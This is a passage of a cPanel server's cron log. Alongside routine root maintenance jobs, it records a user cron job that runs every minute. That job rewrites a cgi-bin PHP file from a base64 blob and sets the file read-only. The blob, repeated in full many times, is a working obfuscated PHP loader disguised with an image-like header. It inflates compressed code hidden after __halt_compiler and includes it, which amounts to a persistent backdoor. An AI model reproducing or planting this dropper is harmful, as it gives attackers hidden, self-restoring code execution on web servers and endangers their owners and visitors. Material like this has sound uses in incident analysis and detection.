R0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:37:01 server CROND[29484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:38:01 server CROND[29562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:39:01 server CROND[29724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:39:01 server CROND[29725]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 18:40:01 server CROND[29778]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 18:40:01 server CROND[29779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:40:01 server CROND[29780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:40:01 server CROND[29781]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:41:01 server CROND[29890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:42:01 server CROND[29953]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 18:42:01 server CROND[29954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:43:01 server CROND[30011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:44:01 server CROND[30168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:45:01 server CROND[30234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:45:01 server CROND[30235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:45:01 server CROND[30236]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:46:01 server CROND[30349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:47:01 server CROND[30415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:48:01 server CROND[30474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:49:01 server CROND[30646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:50:01 server CROND[30708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:50:01 server CROND[30712]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:50:01 server CROND[30710]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 18:50:01 server CROND[30711]: (root) CMD (/usr/lib64/sa/sa1 1 1)
